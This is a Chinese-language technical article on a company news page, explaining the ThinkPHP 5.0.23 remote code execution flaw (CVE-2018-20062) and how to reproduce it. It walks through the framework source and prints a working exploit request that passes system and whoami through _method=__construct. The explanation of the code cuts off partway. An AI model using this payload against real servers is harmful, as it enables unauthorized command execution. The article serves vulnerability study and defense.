新闻详情

新闻详情

首页 / 资讯中心 / 详情

ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程

发布时间:2026/11/7 12:35:42来源:尧图网络
ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程
ThinkPHP5 5.0.23 RCE 漏洞原理与复现过程一、漏洞基本信息漏洞编号:CVE-2018-20062漏洞类型:未授权远程代码执行(RCE)影响版本ThinkPHP 5.0.x ≤5.0.23ThinkPHP 5.1.x 5.1.31漏洞简述:框架在处理_method伪请求方法时,对用户可控参数过滤不严,攻击者可以调用Request类任意方法,配合filter参数调用call_user_func,执行任意 PHP 函数,实现系统命令执行,无需登录。二、漏洞基本原理ThinkPHP 的_method参数:浏览器默认只能发 GET、POST 请求。但是 REST 接口需要 PUT、DELETE。ThinkPHP 为了方便,允许POST 请求里带一个参数_method,用来伪装成别的请求方式。比如 POST 提交_method=put,框架就认为这次是 PUT 请求。底层逻辑:把_method的值,当成一个方法名,去调用对应的处理方法。这里我们可以来看一下原版Request.php中对应的获取请求类型的方法:/** * 当前的请求类型 * @access public * @param bool $method true 获取原始请求类型 * @return string */publicfunctionmethod($method=false){if(true===$method){// 获取原始请求类型return$this-server('REQUEST_METHOD')?:'GET';}elseif(!$this-method){if(isset($_POST[Config::get('var_method')])){$this-method=strtoupper($_POST[Config::get('var_method')]);$this-{$this-method}($_POST);}elseif(isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])){$this-method=strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);}else{$this-method=$this-server('REQUEST_METHOD')?:'GET';}}return$this-method;// 返回请求类型}通过分析源码我们可以发现 该方法在:if(isset($_POST[Config::get('var_method')]))的时候,设置了$this-method为 POST提交参数中的Config::get('var_method'),在config.php配置文件中配置默认值就是字符串_method当前端传入的参数_method=__construct时,$this-method = "__CONSTRUCT"之后通过$this-{$this-method}($_POST);调用__construct这个魔术方法,把整个$_POST数组作为参数传给__construct()如果在发送POST数据包是参数是:POST /index.php?s=captcha HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded _method=__constructfilter[]=systemmethod=getserver[REQUEST_METHOD]=whoami(记下这个EXP请求的参数格式,后面会用到),那么$_POST原始数组:$_POST=['_method'='__construct','filter'=["system"],'method'="get",'server'=['REQUEST_METHOD'='whoami']];漏洞点就在这里:框架没有校验这个_method能不能是 PHP 类的魔术方法。在 PHP 类中存在一个魔术方法__construct这是类的构造函数。只要创建这个类的新对象,就会自动执行__construct()。但是!PHP 还有一个特性:你可以手动指定,直接去调用对象-__construct(),不用新建对象。在Request.php中__construct()方法的代码如下:/** * 构造函数 * @access protected * @param array $options 参数 */protectedfunction__construct($options=[]){foreach($optionsas$name=$item){if(property_exists($this,$name)){$this-$name=$item;}}if(is_null($this-filter)){$this-filter=Config::get('default_filter');}// 保存 php://input$this-input=file_get_contents('php://input');}该方法会循环遍历$options数组,通过property_exists方法判断 Request 类有没有对应的这个成员属性,如果有则将其值进行覆盖,property_exists($this,'_method'):Request 类没有定义_method这个成员属性,所以循环遇到_method这一项直接跳过,不会覆盖。覆盖过程如下:property_exists($this,'filter')为 true -$this-filter = ["system"];property_exists($this,'method')为 true -$this-method = "get";property_exists($this,'server')为 true -$this-server = ['REQUEST_METHOD'='whoami'];被覆盖的 filter 属性值会作为全局过滤函数使用。在method(true) → server('REQUEST_METHOD') → input() → filterValue()的调用链中:// thinkphp/library/think/Request.phpprotectedfunctiongetFilter($filter,$default){if(is_null($filter)){$filter=[];}else{$filter=$filter?:$this-filter;// 使用被覆盖的 filter 值}$filter[]=$default;return$filter;}publicfunctionserver($name='',$default=null,$filter=''){if(empty($this-server)){$this-server=$_SERVER;}if(is_array($name)){return$this-server=array_merge($this-server,$name);}return$this-input($this-server,false===$name?false:strtoupper($name),$d
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

【外设】之大彩串口显示屏 2026/11/6 6:37:16

【外设】之大彩串口显示屏

大彩串口屏初步使用 1 .官网下载 STM32 屏幕 GUI 设计资料 http://www.gz-dc.com/category/typeid/4112 找到 STM32 Keil 工程,移植相关代码因项目而异进行移植,由于项目简单,本人只对用到的指令接口进行修改。 比如:注意事项&…

阅读更多 →
无法下载Windows系统iso文件 2026/11/7 0:39:20

无法下载Windows系统iso文件

当我遇到这个问题的时候,我打开了一个网站: 登录 然后我打算下载的时候: 突然那个官方的连接就可以下载了:

阅读更多 →
【清华代码熊】DeepSeek V4.1 Flash 后训练详解 2026/11/7 6:36:21

【清华代码熊】DeepSeek V4.1 Flash 后训练详解

📌 上期解析了 DeepSeek V4.1 Flash 模型架构改进,本期解析 DeepSeek V4.1 Flash 预训练/后训练技术: 🌟 预训练:45T 文本 多模态混合语料、直接训练 sparse attention(取消 DeepSeek V4 的 dense 冷启动&…

阅读更多 →
Shuffle-R1: Efficient RL framework for Multimodal Large Language Models via Data-centric Dynamic ... 2026/11/6 17:25:36

Shuffle-R1: Efficient RL framework for Multimodal Large Language Models via Data-centric Dynamic ...

文章主要内容和创新点 主要内容 本文聚焦于多模态大语言模型(MLLM)强化学习(RL)训练中的效率问题,提出了一个名为Shuffle-R1的框架。研究发现,当前RL训练存在两个关键缺陷: 优势值坍缩(Advantage Collapsing):批次中大多数优势值集中在零附近,导致有效梯度信号被淹…

阅读更多 →
PRvL: Quantifying the Capabilities and Risks of Large Language Models for PII Redaction 2026/11/6 14:29:05

PRvL: Quantifying the Capabilities and Risks of Large Language Models for PII Redaction

一、文章主要内容总结 本文聚焦于利用大型语言模型(LLMs)实现个人身份信息(PII)脱敏的研究,旨在解决传统脱敏方法(如基于规则的系统、领域特定命名实体识别(NER)模型)泛化能力差、跨格式/跨语境适应性弱的问题。 研究通过全面评估多种LLM架构(包括密集型LLM(D-LLM…

阅读更多 →
LLaVA-RE: Binary Image-Text Relevancy Evaluation with Multimodal Large Language Model 2026/11/6 14:29:07

LLaVA-RE: Binary Image-Text Relevancy Evaluation with Multimodal Large Language Model

文章主要内容和创新点 主要内容 本文聚焦于二进制图像-文本相关性评估任务(判断图像与文本“相关”或“不相关”),针对该任务中文本格式多样、相关性定义随场景变化等挑战,提出了基于多模态大语言模型(MLLM)的解决方案LLaVA-RE。 模型设计:LLaVA-RE基于LLaVA 1.5架构,…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉